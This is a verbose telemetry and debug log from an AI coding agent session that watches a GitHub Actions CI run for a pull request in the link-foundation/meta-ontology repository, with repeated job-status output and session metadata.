2026-07-12T04:08:59.363259Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53135b54388191862a5e7711049f39\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNbaos_XHWfGMHxYoqtD3DxJ7cv1sTbX4kLr0PyaDTJaSCUGWNZPswlPZvvR8X702xZY8CIvHQ072MjpieZsEgblrv5i3BULaWqsgDmvQ507OEFcJj_ilTFtNx6KxPtrmDq5PdSofvMb-kdyxjF1Ai1LywzGWeQNxLyD2hbcTQjkv6oj_4iB8tNiEjBlQOKvLEVHrz-Tt-08iem86uM-5mj5HQmQWtmN6lNpz5fwI1HFdO5G7vPN9pdY-smhLcBtWtbHdghTzEgbYC2yYj8GJR_J30oQDq0RjE9LdMKuDfbHgbyCKPhaiZRdJY7aZOC7QQSyBOZFCAt59eKN-JsVNpC0W_VylpoTHwXv7eZFUIUrjHDZIAbxXd9WqFkxSCxhEntSQTAw2IOoOx9IA-_Xe3aJ2GVY_78R3CnYTbNjuMT3ODuUu3yv054KlYDKlvMlgE-f5XvbB8c0Zw_2DbW1SQhcmckZgijBVuZDkT0bDtfyLHZekmjnsxbJDrMpGMlsPTHVcSpnuPfjdKGE8RvN4McP0LTJSo_ZbsqEzIGOFpTSA0jrIHe8_ysUPXRZ9Py6HLuSc57QAbvnYQEEI-pTDQW2zXWeO5hxaMuemQohpVyiq7idnu3Pgdts3uIqk5xjZUvxmYvwId2UXjBcSc3mQ15IXOprqPxKtIhdDw3bh3sJ_T5YCkbJCdGfo64cFwcJTQ4bmUgRL6FhQIXBHBM-z3MPol-CGGYEIlA_-ssyFWorK-BMwXHa4p1RywfvuH9T3xqR8Wxq8Hxlvn0KQ6ymcikXgCQABs7VQrRmiZ3axlUHSaXNN28dYvDTAGAkXxOtc3cyweHb5JCTO3FeBZKHfQpWBMpVdificKzpfxRwCCfhcyxgI0PdwDw1gbCvKv7TJhGLB-J7yf94dzeLt6wUo5ceA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:59.363Z] [INFO] \n[2026-07-12T04:08:59.878Z] [INFO] 2026-07-12T04:08:59.877607Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53135b54388191862a5e7711049f39\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNb1slvnxO4rbdMGdILfKGjp3qozpuYW2tZorQYRNDgvActd-hxCNfFBivlrQM0aPn5hC0F42gaLKXTb5kc8PmId4bxhfefZCAEHtIlnsYHkbF8qsv7ye_SEA78eiRDT5YRdQ8LeD65FT1hFuwXXK4plao-nuaHXWrEhQehc7V3ysVOYa8nqP6e3xodIUYKxwv9lqPOvus0_UiV8PTZHkPGtTQdpeDaLnpXIVXfagit4xmRmWB887URlaSRSm5C8jviPtT9J8J9ZSjxsVDHEohS25r1XUzqZTwdd0J7HyfBUnr81GAXQ-t99qC0bJsCj6ku4TeIS-B34jnK16nIYXedCz9fUG-OFmPGDTJjDrZ615tSu5bq4Dh4bjzSMe_hJ5MWG_JnQkW8_U9qnQqpscmsFHQe9nZjDF27FN13rY86Q5z_05OJ1dsjpD_6RCxHWVfejGPtWUcVAlRMQwqhS2r4Tqwj3tuThNYMPGV0qSfuHwzOl3bq1f0ZG5RboikrEVtip1nEU6eD6v293XPX5ad7H0ZXNz38V1GYqO8aq_oflnAgstiRtV2Mc0SxeayTjvLrURMZvuuW3zZEXv8kLNycx5duRRfppGPFl3pruTAmcaMLXW-x0CdWe9DiELvtoPNef6AitsvI5mIftpEZgNwRgvkRwuYPdQj6xbWFFxyGuj2L3KdRUdURa4xmrhVmp3tEoGbndqNxrut53XuJ-o_LZUZnSveY2m0OcV5xKSjHnkTea7d_1HIsSA3dAEUMLxYPMl3O8XNA-a39iUYPAaXlfikmCb1jfK-Pz8wlHrPXoN1Iu6dJQxz9qUs6fFtvmgdNaHOy_711gQmr5N-DhLWF8JAZyqH71cvU5c-gQqAKMv7QeFdwAlfpBS8Uvgz_L5xxgDW-J066iz-r-3vDf5uUeWzwxP9xojTNabWtfx-MLvo=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:59.878Z] [INFO] \n[2026-07-12T04:08:59.884Z] [INFO] 2026-07-12T04:08:59.879633Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a53135bdaac819186b5175422b30908\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_DtzS2tjtjUGcDZfpSe7TZcQK\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:59.884Z] [INFO] \n[2026-07-12T04:09:00.203Z] [INFO] 2026-07-12T04:09:00.202621Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"24\",\"yield_time_ms\":30000,\"max_tokens\":20000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:09:00.203Z] [INFO] \n[2026-07-12T04:09:00.338Z] [INFO] 2026-07-12T04:09:00.337701Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53135a30b08191a000a5e66aa5143e\"\n[2026-07-12T04:09:00.338Z] [INFO] \n[2026-07-12T04:09:00.343Z] [INFO] 2026-07-12T04:09:00.337754Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=79293 output_token_count=40 cached_token_count=78592 reasoning_token_count=7 tool_token_count=79333 ttft_ms=2343 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:00.337Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:00.343Z] [INFO] 2026-07-12T04:09:00.339601Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=79293 output_token_count=40 cached_token_count=78592 reasoning_token_count=7 tool_token_count=79333 ttft_ms=2343 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:00.339Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:00.343Z] [INFO] \n[2026-07-12T04:09:13.062Z] [INFO] 2026-07-12T04:09:13.051966Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:09:13.062Z] [INFO] 2026-07-12T04:09:13.052143Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:09:13.062Z] [INFO] 2026-07-12T04:09:13.053543Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=9 time_taken_in_millis=1\n[2026-07-12T04:09:13.062Z] [INFO] \n[2026-07-12T04:09:13.077Z] [INFO] 2026-07-12T04:09:13.065315Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:09:13.077Z] [INFO] 2026-07-12T04:09:13.065392Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:09:13.077Z] [INFO] 2026-07-12T04:09:13.065991Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:09:13.077Z] [INFO] \n[2026-07-12T04:09:13.110Z] [INFO] 2026-07-12T04:09:13.109057Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:09:13.110Z] [INFO] 2026-07-12T04:09:13.109337Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:09:13.110Z] [INFO] 2026-07-12T04:09:13.109400Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:09:13.110Z] [INFO] 2026-07-12T04:09:13.109416Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59942\n[2026-07-12T04:09:13.110Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] 2026-07-12T04:09:17.145934Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-b81d59f8-94a0-40c6-86d8-3a8b655966f8 arguments={\"cmd\":\"gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000} duration_ms=30188 success=true output=Chunk ID: 4ded24\n[2026-07-12T04:09:17.149Z] [INFO] Wall time: 30.0021 seconds\n[2026-07-12T04:09:17.149Z] [INFO] Process running with session ID 81385\n[2026-07-12T04:09:17.149Z] [INFO] Original token count: 1489\n[2026-07-12T04:09:17.149Z] [INFO] Output:\n[2026-07-12T04:09:17.149Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.149Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] JOBS\n[2026-07-12T04:09:17.149Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Check for manual version changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:17.149Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.149Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] JOBS\n[2026-07-12T04:09:17.149Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Check for manual version changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:17.149Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.149Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] JOBS\n[2026-07-12T04:09:17.149Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:17.145Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.149Z] [INFO] 2026-07-12T04:09:17.146168Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-b81d59f8-94a0-40c6-86d8-3a8b655966f8 duration_ms=30188 success=true arguments_length=180 output_length=1883 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:17.146Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] 2026-07-12T04:09:17.178692Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_DtzS2tjtjUGcDZfpSe7TZcQK arguments={\"cell_id\":\"24\",\"yield_time_ms\":30000,\"max_tokens\":20000} duration_ms=16975 success=true output=Script completed\n[2026-07-12T04:09:17.180Z] [INFO] Wall time 17.0 seconds\n[2026-07-12T04:09:17.180Z] [INFO] Output:\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.180Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] JOBS\n[2026-07-12T04:09:17.180Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Check for manual version changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:17.180Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.180Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] JOBS\n[2026-07-12T04:09:17.180Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Check for manual version changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:17.180Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.180Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] JOBS\n[2026-07-12T04:09:17.180Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:17.178Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.180Z] [INFO] 2026-07-12T04:09:17.178795Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_DtzS2tjtjUGcDZfpSe7TZcQK duration_ms=16975 success=true arguments_length=57 output_length=1841 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:17.178Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.180Z] [INFO] 2026-07-12T04:09:17.179400Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_DtzS2tjtjUGcDZfpSe7TZcQK tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=16975 total_duration_ms=16976\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.265Z] [INFO] 2026-07-12T04:09:17.264120Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:09:17.265Z] [INFO] \n[2026-07-12T04:09:17.287Z] [INFO] 2026-07-12T04:09:17.286873Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:17.286Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.287Z] [INFO] \n[2026-07-12T04:09:17.291Z] [INFO] 2026-07-12T04:09:17.287569Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:17.287Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.291Z] [INFO] \n[2026-07-12T04:09:17.303Z] [INFO] 2026-07-12T04:09:17.287869Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:09:17.303Z] [INFO] \n[2026-07-12T04:09:18.122Z] [INFO] 2026-07-12T04:09:18.120273Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" 